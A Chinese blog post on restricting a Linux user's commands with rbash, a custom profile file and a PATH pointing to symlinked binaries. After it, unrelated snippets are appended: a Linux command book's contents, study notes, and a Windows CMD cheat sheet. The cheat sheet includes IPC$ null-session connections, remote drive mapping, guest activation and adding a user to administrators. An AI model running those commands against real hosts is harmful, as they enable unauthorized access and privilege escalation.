Linux通过环境变量限制用户能执行的命令

最近公司有个场景,需要限制用户登陆以后可以执行的命令,从而提高系统的安全性。本身bash已经有了一个受限制的版本叫做rbash,我们在这个基础上还可以通过环境变量的方式对用户做进一步的限制。

受限制的shell

正常情况下用useradd xx去创建用户的时候给用户配置的shell都是bash,这个可以通过查看文件/etc/passwd或者是通过命令echo $SHELL进行确认。

查看bash命令的man页面会发现bash还有一个受限制模式,如下
01_rbash.jpg

当执行bash命令的时候带上-r参数或者是--restricted的时候,当前的shell就由普通的bash变成了受限制的shell,上图红框内的命令就都执行不了了,我这里就不一一翻译了,选取最前面的几条罗列下

  • 不能使用cd命令,也就意味着不能切换目录
  • 不能设置SHELLPATHENVBASH_ENV这四个环境变量,也就意味着不能切换shell,不能修改命令查找路径
  • 不能执行带/的命令,也就意味着只能直接执行环境变量PATH中的命令

有了这个受限制的shell,用户基本上就被限制在自己的home目录下,并且只能执行PATH下的命令。

但是这个还不够,我们还需要在不影响别的用户的前提下将受限制用户能执行的命令进行限制,换句话说,需要继续限制该用户的PATH环境变量所包含的命令集合。如果我们能够将允许用户执行的命令都放在一个目录中,再将这个目录指定为PATH,那么就可以限制用户能够执行的命令了。下面看看怎么在用户登录的时候自动完成这一目标。

用户登录流程

用户在登录的时候会自动运行几个文件,来设置shell的环境变量,如下所示

  1. /etc/profile - 对所有用户生效,其中有一个for循环会从/etc/profile.d中执行.sh格式的文件
  2. /etc/bashrc - 对所有用户生效,如果用户使用的是bash,会自动执行该文件
  3. ~/.bash_profile - 放在用户home目录,对单用户生效,如果存在.bashrc文件还会执行该文件
  4. ~/.bashrc - 每次用户登录或者打开新的shell的时候都会执行该文件

我这里的思路是在/etc/profile.d中创建一个.sh文件,在其中设置好对应动作,这样用户登录以后就会自动执行该文件,达到限制的目的。借鉴网上的经验,可以直接忽略系统的profile文件,然后使用自定义的profile文件。

使用自定义profile文件

/etc/profile.d下创建login_tester.sh如下

#!/bin/bash
m=`whoami`

if [[ "${m}" == "tester" ]];then
    echo -e "\e[01;33m* ** 你目前登陆的是受限制的shell ** *\e[00m"
    ## 创建命令集合
    mkdir -p $HOME/bin
    rm -f $HOME/bin/*
    ln -s /bin/ls $HOME/bin
    ln -s /bin/ping $HOME/bin
    ln -s /usr/bin/ssh $HOME/bin/
    ln -s /usr/bin/ssh-keygen $HOME/bin/
    ln -s /usr/bin/expect $HOME/bin/
    ln -s /bin/grep $HOME/bin/
    ## 设置环境变量
    cat << EOF > $HOME/.newbash_profile
		export HISTFILESIZE=500000000
		export HISTSIZE=99999999
		export HISTTIMEFORMAT="%Y/%m/%d_%H:%M:%S :"
		export PATH=$HOME/bin
		export NAME=xiaofu
		EOF
		## 使用自定义profile文件
    chown ${m}:${m} $HOME/.newbash_profile
    exec bash --restricted --noprofile --rcfile $HOME/.newbash_profile
fi

首先判断登陆的用户是谁,如果是tester用户,会执行下面的操作。

第一部分是创建命令集合,在用户的home目录下创建bin目录,采用软连接的方式将可以被用户执行的命令放到该目录下;第二部分设置环境变量,在用户的home目录下创建.newbash_profile文件,和上面的4个文件一样,export设置环境变量,需要注意的是这里将PATH设置为了第一步中的bin文件,也就只让用户执行第一步中的几个命令;第三部分使用自定义profile文件,首先修改文件权限,保证用户能执行,然后是比较关键的一步

exec bash --restricted --noprofile --rcfile $HOME/.newbash_profile

这里的--restricted是将用户的shell变为受限制的shell,--noprofile是不加载系统的profile文件,也就是好上面的4个文件,然后是--rcfile加载我们自定义的profile文件。

这样设置以后,用户不能切换目录,也只能使用受限制的几个命令了。

验证

下面创建用户tester进行验证。

从root切换到tester用户会有下面的提示

02_tester.jpg

如果执行不被允许的命令会有提示

bash-4.2$ cd
bash: cd: restricted
bash-4.2$ cp
bash: cp: command not found

并且可以看到环境变量也配置成功

bash-4.2$ echo $PATH
/home/tester/bin
bash-4.2$ echo $NAME
xiaofu

后续

这个脚本目前只能针对tester用户进行限制,如果有多个用户,可以将受限制的用户名放在一个文件中,然后用类似下面的格式去做循环判断

#!/bin/bash

m=`whoami`

while read name
do
if [ $m == $name ];then
        echo "found it"  # 替换为创建自定义profile的脚本
        exit
fi
done < names.txt

echo "not found" 

如果在名单列表中找到了当前登陆的用户则执行脚本,否则不做任何操作,我这里就不展开了,大家可以自己试试看。

我是T型人小付,一位坚持终身学习的互联网从业者。喜欢我的博客欢迎在csdn上关注我,如果有问题欢迎在底下的评论区交流,谢谢。

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
文件格式为azw3,文字版本,可以用kindle阅读,PC端可以用calibre,可以转成epub所有手机阅读软件都支持,对手机的排版支持还不错. 内容目录 第1天 文本操作指令 1.1 ar 指令:创建、修改或从档案文件中提取文件 1.2 aspell指令:检查文件的错误 1.3 bunzip2指令:解压缩.bz2类型的文件 1.4 bye指令:中断FTP连接 1.5 bzip2指令:压缩成.bz2类型的文件 1.6 bzip2recover指令:损坏.bz2文件的修复 1.7 cat指令:连接并输出文件内容 1.8 chattr指令:改变文件的属性 1.9 chgrp 指令:改变文件或者目录所属的用户组 1.10 chmod指令:改变文件或者目录的权限 1.11 chown指令:改变文件的拥有者或用户组 1.12 cksum指令:文件的CRC校验 1.13 cmp指令:比较文件差异 1.14 cp指令:复制 1.15 cpio指令:备份文件 1.16 csplit指令:分割文件 1.17 cut指令:剪切文件 1.18 diff指令:生成差异信息 1.19 diffstat指令:diff结果的统计信息 1.20 dump指令:文件系统备份 1.21 file指令:辨识文件类型 1.22 find指令:查找目录或者文件 1.23 fsck指令:检查并尝试修改文件系统错误 1.24 fsck.ext2指令:检查ext2文件系统并尝试修改错误 1.25 fsck.ext3指令:检查ext3文件系统并尝试修改错误 1.26 fsck.minix指令:检查文件系统并尝试修复错误 1.27 ftp指令:文件传输协议 1.28 ftpcount指令:显示ftp登录用户数 1.29 ftpshut指令:定时关闭ftp服务器 1.30 ftpwho指令:显示登录ftp用户信息 1.31 gunzip指令:解压缩文件 1.32 gzexe指令:压缩可执行文件 1.33 gzip指令:压缩文件 1.34 indent指令:调整C原始代码文件的格式 1.35 less指令:一次显示一页文本 1.36 lha指令:压缩或解压缩文件 1.37 ln指令:链接文件或目录 1.38 locate指令:查找文件 1.39 lpd指令:打印管理程序 1.40 lpq 指令:查看打印机列表中未完成的工作 1.41 lpr指令:输入打印文件 1.42 lprm 指令:将任务从打印机队列中移除 1.43 lsattr指令:显示文件属性 1.44 mattrib指令:变更或显示MS-DOS文件的属性 1.45 mc指令:菜单式文件管理程序 1.46 mcopy指令:复制MS-DOS文件 1.47 mdel指令:删除MS-DOS文件 1.48 mdir指令:显示MS-DOS目录 1.49 mkdir指令:建立目录 1.50 mktemp指令:建立暂存文件 1.51 more指令:显示文件信息 1.52 mmove指令:移动或重命名MS-DOS文件 1.53 mread指令:复制MS-DOS文件 1.54 mren指令:移动或重命名MS-DOS文件 1.55 mshowfat指令:显示MS-DOS文件的记录 1.56 mtools 指令:显示 mtools 支持的指令 1.57 mtoolstest 指令:测试同时显示mtools的相关设置 1.58 mv 指令:移动或更名现有的文件或目录 1.59 ncftp指令:文件传输 1.60 ncftpget指令:下载文件 1.61 ncftpput指令:上传文件 1.62 od指令:输出文件内容 1.63 paste指令:合并文件的列 1.64 patch指令:修补文件 1.65 rcp指令:远程复制文件或目录 1.66 rhmask指令:产生加密文件 1.67 rm指令:删除文件或目录 1.68 tac指令:反序输出文件 1.69 tar指令:打包同时压缩/解压缩文件 1.70 tee 指令:从标准输入读取数据到标准输出,同时保存为文件 1.71 tftp指令:传输文件 1.72 tmpwatch指令:删除临时文件 1.73 touch指令:更改文件/目录时间 1.74 umask指令:指定在建立文件时权限掩码 1.75 umount指令:卸除文件系统 1.76 unarj指令:解压缩文件 1.77 uncompress指令:解压缩.z文件 1.78 unzip指令:解压缩.zip文件 1.79 uucico指令:.uucp文件传输 1.80 uucp指令:在系统之间传送文件 1.81 uupick指令:处理接收文件 1.82 uuto指令:文件传送到远端主机 1.83 whereis指令:查找文件 1.84 which指令:查找文件 1.85 zip指令:压缩文件 1.86 zipinfo指令:显示压缩文件的信息 第2天 文本编辑指令 2.1 col指令:过滤控制字符 2.2 colrm指令:删除指定的列 2.3 comm指令:比较排序文件 2.4 ed指令:文本编辑器 2.5 egrep指令:输出匹配某种模式的行 2.6 emacs指令:文本编辑器 2.7 ex指令:在Ex模式下启动vim文本编辑器 2.8 expr指令:简单计算器 2.9 fgrep指令:匹配字符串 2.10 fmt指令:编排文本文件 2.11 fold指令:限制文件列宽 2.12 grep指令:匹配搜索 2.13 ispell指令:拼字检查程序 2.14 jed指令:编辑文本文件 2.15 joe指令:编辑文本文件 2.16 join指令:连接两个指定的文件 2.17 look指令:单字查询 2.18 mtype指令:显示MS-DOS文件的内容 2.19 pico指令:编辑文本文件 2.20 rgrep指令:递归查找 2.21 sed指令:利用script命令处理文本文件 2.22 sort指令:将文本文件内容加以排序 2.23 spell指令:拼字检查程序 2.24 tr指令:转换文件中的字符 2.25 uniq指令:检查文件中重复出现的行 2.26 vi指令:文字编辑器 2.27 vim指令:增强型vi文件编辑器 2.28 wc指令:计算字数 第3天 磁盘操作指令 3.1 automount指令:为auto文件系统配置挂载点 3.2 badblocks指令:检查磁盘坏道 3.3 cd指令:切换目录 3.4 cfdisk指令:磁盘分区 3.5 dd指令:转换复制文件 3.6 df指令:磁盘信息 3.7 dirs指令:显示目录信息 3.8 du指令:显示目录或文件所占的磁盘空间 3.9 edquota 指令:编辑用户用户组的quota 3.10 eject指令:退出抽取式设备 3.11 e2fsck指令:检查ext2文件系统 3.12 fdformat指令:软盘格式化 3.13 fdisk指令:Linux磁盘分区 3.14 fsck 指令:检查文件系统并修复分区错误 3.15 fsck.ext2指令:检查ext2文件系统 3.16 fsconf指令:设置文件系统相关功能 3.17 hdparm指令:显示和设定硬盘参数 3.18 lndir指令:连接目录内容 3.19 losetup指令:设置循环设备 3.20 ls指令:列出目录内容 3.21 mbadblocks 指令:检查 MS-DOS文件系统的磁盘是否有损坏的磁区 3.22 mcd指令:在MS-DOS文件系统中切换工作目录 3.23 mdeltree指令:删除MS-DOS 目录/文件 3.24 mdu指令:显示MS-DOS目录所占用的磁盘空间 3.25 mformat指令:对MS-DOS文件系统的磁盘进行格式化 3.26 mkbootdisk指令:建立目前系统的启动盘 3.27 mkdir指令:建立目录 3.28 mkdosfs指令:建立MS-DOS文件系统 3.29 mke2fs指令:建立ext2文件系统 3.30 mkfs指令:建立各种文件系统 3.31 mkfs.ext2指令:建立ext2文件系统 3.32 mkfs.msdos 指令:建立 MS-DOS文件系统 3.33 mkinitrd指令:建立要载入ramdisk的映像文件 3.34 mkisofts指令:建立iso 9660映像文件 3.35 mkswap指令:设置交换区 3.36 mlabel 指令:显示/设置 MS-DOS磁盘驱动器的标签名称 3.37 mmd 指令:在MS-DOS 文件系统中建立目录 3.38 mmount指令:挂载MS-DOS文件系统 3.39 mount指令:挂载文件系统 3.40 mpartition指令:建立/删除MS-DOS的分区 3.41 mrd指令:删除MS-DOS文件系统中的目录 3.42 pwd指令:显示工作目录 3.43 quota指令:显示磁盘已使用的空间与限制 3.44 quotacheck 指令:检查磁盘的使用空间与限制 3.45 quotaoff指令:关闭磁盘空间限制 3.46 quotaon指令:开启磁盘空间限制 3.47 repquota指令:检查磁盘空间限制的状态 3.48 restore指令:还原dump操作备份文件 3.49 rmdir指令:删除目录 3.50 sfdisk指令:硬盘分区工具程序 3.51 stat指令:显示inode内容 3.52 swapoff指令:关闭系统交换分区 3.53 swapon指令:启动系统交换分区 3.54 symlinks指令:维护符号链接的工具程序 3.55 symlinks 指令:维护符号链接的工具程序 3.56 tree指令:以树状图显示目录内容 3.57 umount指令:卸除文件系统 第4天 网络通信指令 4.1 apachectl指令:apache HTTP服务器控制接口 4.2 arp指令:地址转换协议 4.3 arping指令:ARP请求报文 4.4 arpwatch指令:监听ARP记录 4.5 arptables指令:管理系统的ARP表 4.6 cu指令:主机间通信 4.7 dip指令:IP拨号连接 4.8 dnsconf指令:设置DNS服务器组态 4.9 efax指令:收发传真 4.10 getty指令:设置终端配置 4.11 httpd指令:apache http服务器程序 4.12 ifconfig指令:显示或者配置网络设备 4.13 mesg指令:控制终端的写入 4.14 minicom指令:调制解调器通信程序 4.15 nc指令:设置路由器 4.16 netstat指令:显示网络状态 4.17 newaliases指令:重建别名数据库 4.18 pine指令:处理电子邮件和新闻组 4.19 ping指令:检测主机 4.20 ppp-off指令:关闭ppp连线 4.21 pppsetup指令:设置ppp连线 4.22 pppstats指令:显示ppp连线状态 4.23 samba指令:控制Samba服务端 4.24 sendmail指令:邮件服务器程序 4.25 setserial指令:设置或显示串口的相关信息 4.26 smbclient指令:可存取SMB/CIFS服务器的用户端程序 4.27 smbd指令:Samba服务端 4.28 ssh指令:加密的远程登录工具 4.29 statserial指令:samba服务器程序 4.30 talk指令:与其他用户交谈 4.31 tcpdump指令:倾倒网络传输数据 4.32 telnet指令:远程登录 4.33 testparm 指令:测试 Samba 配置文件 4.34 traceroute指令:显示数据包到主机间的路径 4.35 tty指令:显示标准输入设备名称 4.36 uucp 指令:将特定文件复制到另一个特定系统 4.37 uulog指令:显示uucp记录信息 4.38 uuname指令:显示uucp远端主机 4.39 uustat指令:显示uucp状态 4.40 uux指令:在远端的uucp主机上运行指令 4.41 wall指令:发送信息 4.42 write指令:传送信息 4.43 ytalk指令:与其他用户交谈 第5天 系统管理指令 5.1 adduser指令:增加一个系统用户 5.2 arch指令:输出主机的体系结构 5.3 batch指令:执行批处理指令 5.4 bg指令:将程序放在后台执行 5.5 chfn指令:设置finger信息 5.6 chsh指令:改变登录系统时的shell 5.7 clear指令:清除屏幕信息 5.8 date指令:显示或设置系统时间 5.9 echo指令:字符串输出 5.10 exit指令:退出shell 5.11 finger指令:查找并显示用户信息 5.12 free指令:显示内存信息 5.13 fwhois指令:显示用户的信息 5.14 gitps指令:显示程序情况 5.15 groupadd指令:创建一个新群组 5.16 groupdel指令:删除一个群组 5.17 groupmod 指令:改变系统群组的属性 5.18 groups指令:查看用户属于哪个组 5.19 halt指令:关闭系统 5.20 help指令:显示shell内建指令的帮助信息 5.21 history指令:显示历史指令 5.22 id 指令:显示用户的ID 以及所属群组的ID 5.23 init指令:开关机设置 5.24 ipcs指令:显示进程间通信的信息 5.25 jobs指令:显示所有后台程序 5.26 kill指令:杀死执行中的进程 5.27 last指令:显示所有登录系统的用户相关信息 5.28 lastb 指令:显示登录系统失败的用户信息 5.29 login指令:登录系统 5.30 logname指令:显示登录账号 5.31 logout指令:退出系统 5.32 logrotate指令:管理log文件 5.33 man指令:帮助手册 5.34 nice指令:设置优先级 5.35 procinfo指令:显示系统状态 5.36 ps指令:报告程序状况 5.37 pstree指令:以树状图显示程序 5.38 reboot指令:重新启动 5.39 renice指令:调整优先级 5.40 rlogin指令:远端登录 5.41 rsh指令:远端登录的shell 5.42 rwho指令:查看系统用户 5.43 screen指令:多重视窗管理程序 5.44 shutdown指令:系统关机 5.45 skill指令:工作行程资讯与管理 5.46 sleep指令:休眠 5.47 su指令:变更用户身份 5.48 sudo指令:以其他身份来执行 5.49 suspend指令:暂停执行shell 5.50 swatch指令:系统监控程序 5.51 tload指令:显示系统负载 5.52 top指令:显示进程信息 5.53 uname指令:显示系统信息 5.54 useradd指令:建立用户账号 5.55 userconf指令:设置用户账号 5.56 userdel指令:删除用户账号 5.57 usermod指令:修改用户账号 5.58 vlock指令:锁定终端 5.59 w指令:显示登录系统的用户信息 5.60 who指令:显示系统用户信息 5.61 whoami指令:显示用户名 5.62 whois指令:查找用户/域名信息 第6天 系统设置指令 6.1 alias指令:设置指令的别名 6.2 apmd指令:高级电源管理 6.3 aumix指令:设置音效设备 6.4 bind指令:显示或者设置按键组合 6.5 chkconfig指令:设置系统的应用程序 6.6 chroot指令:改变根目录 6.7 clock指令:系统RTC时间设置 6.8 crontab指令:设置计时器 6.9 declare指令:声明 shell 变量 6.10 depmod指令:模块关系 6.11 dircolors指令:ls指令对应的显示颜色设置 6.12 dmesg指令:显示内核信息 6.13 enable指令:激活或关闭shell内建指令 6.14 eval指令:执行多个指令 6.15 export指令:设置或显示环境变量 6.16 fbset指令:设置帧缓冲区 6.17 grpconv指令:开启群组的投影密码 6.18 grpunconv 指令:关闭群组的投影密码 6.19 hwclock指令:显示与设定硬件时钟(rtc) 6.20 insmod指令:载入模块 6.21 kbdconfig指令:设置键盘类型 6.22 lilo指令:引导安装程序 6.23 liloconfig指令:设置程序的载入 6.24 lsmod 指令:显示Linux内核的模块信息 6.25 minfo指令:显示MS-DOS文件系统的各项参数 6.26 mkkickstart 指令:建立安装的组态文件 6.27 modinfo指令:显示内核信息 6.28 modprobe 指令:自动处理可载入模块 6.29 moouseconfig指令:设置鼠标相关参数 6.30 ntsysv指令:设置系统的各种服务 6.31 passwd指令:设置密码 6.32 pwconv指令:开启用户的投影密码 6.33 pwunconv 指令:关闭用户的投影密码 6.34 rdate 指令:显示其他主机的日期与时间 6.35 reset指令:设置终端机状态 6.36 resize指令:设置终端机视窗的大小 6.37 rmmod指令:删除模块 6.38 rpm指令:管理RPM包 6.39 set指令:设置shell 6.40 setconsole指令:设置系统终端 6.41 setenv指令:查询或显示环境变量 6.42 setup指令:设置公用程序 6.43 sndconfig指令:设置声卡 6.44 timeconfig指令:设置时区 6.45 ulimit指令:控制shell程序的资源 6.46 unalias指令:删除别名 6.47 unset指令:删除变量或函数 6.48 up2date指令:更新Linux系统 6.49 vmstat指令:显示虚拟内存空间 第7天 其他常见指令 7.1 as指令:标准GNU汇编程序 7.2 autoconf指令:产生配置脚本 7.3 autoheader指令:为configure产生模板头文件 7.4 autoreconf指令:更新已经生成的配置文件 7.5 autoscan指令:生成configure.in模板文件 7.6 autoupdate 指令:更新 configure.in文件 7.7 gcc指令:GNU的C和C++编译器 7.8 gdb指令:GNU调试器 7.9 gdbserver指令:远端GNU服务器 7.10 ld指令:链接目标文件和库文件 7.11 make指令:编译内核或模块 7.12 nm指令:显示目标文件中的符号 7.13 startx指令:启动x-Windows图形界面 7.14 xhost指令:设置X服务器的访问权限 7.15 xinit指令:启动x-Windows 7.16 xlsclients 指令:显示正在运行的 X程序 7.17 xlsfonts指令:显示目前X服务器可使用的字体 7.18 xset指令:设置x-Windows
Shout down –n now 关机时同步备份内存中的数据 useradd + 用户 创建用户 userdel + user 可以用来删除用户 passwd + user 更改用户密码(不加user ,则更改当前用户密码) poweroff 关机 reboot 重启 vim vi 下 :wq 在vim or vi 后保存退出 :q 不保存退出 :q! 强制退出 在非insert 下可用 x来删除光标所在处字符 dw 可以删除一个单词 d 用来删除一行 w - 从当前光标当前位置直到单字/单词末尾,包括空格。 e - 从当前光标当前位置直到单字/单词末尾,但是 *不* 包括空格。 $ - 从当前光标当前位置直到当前行末。 u 来撤销最后执行命令 dd 删除整行 yy复制 按p 粘贴 gg 到首行 G 到最后一行 输入 p 将最后一次删除的内容置入光标之后 输入 r 和一个字符替换光标所在位置的字符 按下 SHIFT-G 键可以使得当前光标直接跳转到文件最后一行 /string 下搜索 shift +n 向上搜索 n 向下搜 ?string 上搜索 gedit + name 用来图形化编辑 rmdir 删除目录 rm 删除文件 sed 's/cat/dog/' cats 将cats 文件中cat 替换成dog cd – 可以使回到上次的目录 eg./tmp/jack/rose/love 先在love 目录下,后回到jack目录下cd – 后回到love 目录下 /etc/passwd /etc/shadow /etc/group /etc/gshadow 与user 有关的文件 chmod u/g/o/a +/-/= /r/w/x file name 改权限 -r 递归改 R 100=4 W 010=2 X 001=1 数字表示法 chown user file 改文件所有用户 chown user。group file 改文件的用户与所属组 chgrp group file 改文件所有组 usermod –G(g覆盖原组) grpup user改用户属于什么组(共享的组,即同时可以在多个组中) df 查看分区信息 sda 串口硬盘 —h 可读的 du 查看当前目录下的使用情况 fdisk –l 查看磁盘分区信息 mkfs 查看格式化的版本 eg. mkfs.ext4 +设备 格式化 mount 查看挂载信息 virtual-manage 打开虚拟机 eg. mv /usr/bin/passwd /usr/bin/pw 将改密码的命令passwd 改为pw pwd 用户目前存在位置 cp file [file2] directory mv file [file2] directory 剪切 or 改名字 rm –r directory==rmdir rm file rm –rf directory [file] 在/etc/redhat-release 中存放RHEL的版本信息 env LANG= 语言 tail –f file 使查看的文件不断更新查看 cut –d:(:为指定通配符,:可以另外改) –f1(1为通配符前第几个,可以改) file wc 统计单词,行数 sort 排序 command1| command2 command1的输出是command2的输入 DNS全球通用的: 8.8.8.8 DHCP :动态分配IP地址 255.255.255 网络段 0 主机 ifconfig –a 查看所有网卡 mask 子网掩码,分辨网络地址,与主机地址 改IP地址: /etc/sysconfig/network-scripts 在此目录下,文件名与网卡名要一样 Vim ifconfgi eth0(网卡) 在我虚拟机上的是ifcfg-eht0 可以将”dhcp” 改成”static ”(静态的) 增加IPADDR=ip地址 Onboot=yes (用来是否开关此网卡) ipaddr=…… NETMASK=子网掩码 GATEWAY=网关 or service network restart(reload) /etc/init.d/network restart(reload) Ifdown(ifup) eth0 开关网卡 /etc/init.d networkmanager stop /etc/init.d/network restart 重启网络网卡 Chkconfig networkmanager off 关闭此服务 配置dns : vim /etc/resolv.conf nameserver(命令) ip 立刻生效 hostname 主机名 /etc/sysconfig/network (里面有全局网关gateway) hostname +主机名 可以立刻改名,但未写入文件中 /etc/hosts 本地域名解析,可以改自己定义的域名 ip 域名(www……..) startx 启动图形界面 ssh 用户名@ip 以此用户名登陆 scp file1 ip:file2 远程将本机file1拷贝到ip为此的机子的目录下 scp ip:file1 file2 远程将ip 的file1拷贝到本机file2 中 ln –s file1 file2 为file1创建file3的软连接 ln –s file1(绝对路径) file2(绝对路径) 可以为file1 跨目录连接到file2 ln file1 file2 为file1创建file3 的硬连接 同时删除file1 和file2 才能删除文件 分发系统: 1. 支持pxe client 功能,有pxe的网卡 (client端) 2. 有配置文件config system-config-kick 创建kick 文件 (server端) 3. 为安装文件提供Kickstar文件 /etc 4. client端通过pxe处获取config的文件然后重启 用dhcp协议 用tftp协议 tar –cvfz 打包 tar –xzvf 解压 -tvf 查看打包的里面的文件 [abc….] 【】中任意一个单词匹配 [^abc….] 不与[ ]中任意一个单词匹配 ^word 行首匹配 $word 行尾匹配 2> 将错误输入到…….. eg. cp –rf /etc/passwd /tmp 1 > (正确重定向)file 2> (错误重定向) grep …. 过滤只有…. /etc/fstab 查看所有挂载 /dev/sda[number] 挂载点(/mnt) 文件格式(ext4)defaults kdump(备份) 加电自检否 0 0 1 1 2 2 1备份级别高 2备份级别低 0 不会执行 mount –a 重新执行/fstab表的内容 即重新挂载 增加swap分区: 在分区内容下,即command ……下 t l 数字 将分区变成swap的 partx –a 硬盘 mkswap 分区 挂载 swapon 分区 使分区生效 free –m 查看swap 或者swapon –s swapoff 分区 可以使某个swap分区关闭方便其他使用 /etc/inittab 有开机时启动关的数字选项 具体可用 init number 来命令 umask (权限掩码) 可用命令umask 查看 改变umask : umask 0022 隐藏权限:chattr 用lsattr file 可看隐藏权限 chattr +a/e file 改变特殊权限(针对非root用户) chmod u-s file 可以去掉特殊权限 +s 关闭selinux /etc/sysconfig/selinux suid 针对文件 rwsrwxrwx 拥有者有x权限的基础才能有s权限 其他用户可以临时的拥有用户的权限 sgid 针对文件与目录 临时拥有用户组的权限 eg.chgrp group directory chmod g+s(-s) directory 则以后directory 的file全属于组g sbit 针对目录 当other中有x位有t 权限 除文件拥有者,root外对directory内的file 不可删,但可以写入 4 suid 2 sgid 1 sbit chmod u+s directory g+s o+t 有效用户组:排第一位的组 groups user 查看user的组 改有效用户组: 在当前用户下 newgrp group(此组为user属于的组) rpm 包 相当于一个exe文件 rpm包: rpm –i (install) 包名 -v(显示信息) 包名 -h (show) yum库: 将许多包关联,使包可以一起安装不需要用rpm 一个一个的装 ldap:统一名字(在服务器上) authconfig-tui 打开ldap 空格键 确定选中 用图形用户打开ldap: system-config-authentication /etc/init.d/NetworkManager status 查看状态 一般关闭,否则许多网络的服务不能起来 iptables –F 清空所有网卡规则 crontab(计划任务): 查看:crontab –l 编辑: crontab –e –u user 配置文件: 分 时 日 月 周 看最后一行:* * * * * user command(如果不用在此时间则用* eg. 10 8 * * * /bin/echo “jdsj”) 每隔10Min执行一次 */10 * * * *…. 几点到几点: * 8--10 * * * ….. 每天8点到10点做什么 * 9,15 * * * ..每天9点,15点提醒做什么 service crond restart 在设置好提醒后重启服务 提醒会在邮箱中 在/etc/crontab中MAILTO =user则会在邮箱提醒,否则刷屏提醒 /etc/cron.deny 禁止使用计划任务 计划任务中执行脚本: command 处写 sh *.sh(脚本文件) quota(磁盘配额:限制个人所用的磁盘大小):目录在哪分区,则针对某分区进行磁盘配额 检测:edquota –u user edquota –g group 修改fstab表:defaults,usrquota,grpquota 重新挂载 :mount –a or mount –o remount /(directory or device) 强制检测并开启quota :quotacheck –avugcm quota -avug edquota –u user 查看是否开启了:quota –u user ntp :同步时间 vim /etc/ntp.conf 在注释hosts on local ….处 restrict ip 下面: server ip 服务端设置: 在use inaccurate…… server ip fudge….打开注释即可 ntpq –p (查看ntp server是否还在) vim /etc/grub.conf timeout=number 开机读秒数 default=num 启用的内核 vim /etc/inittab id:num:initdefault (启动时用的是否是图形界面等) find /dircetory –name filename –user username(属于user 的文件) -group groupname -user username not –group groupname(其他组) -exec(前面的结果相当于后面命令的输入) 连接前后命令 相当于管道符 eg. find / -user username –exec cp [参数] {} /directory \; vim .bash_profile 环境变量文件 bios mbr boot lo(grub.conf 在开机时识别kernel) kernel 防火墙级别: 1. 硬件防火墙 2. tcp_wrapper(用来分析tcp/ip封包的软件) 3. iptables 基于数据流的防火 4. 内核级别:selinux 5. 服务本身
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    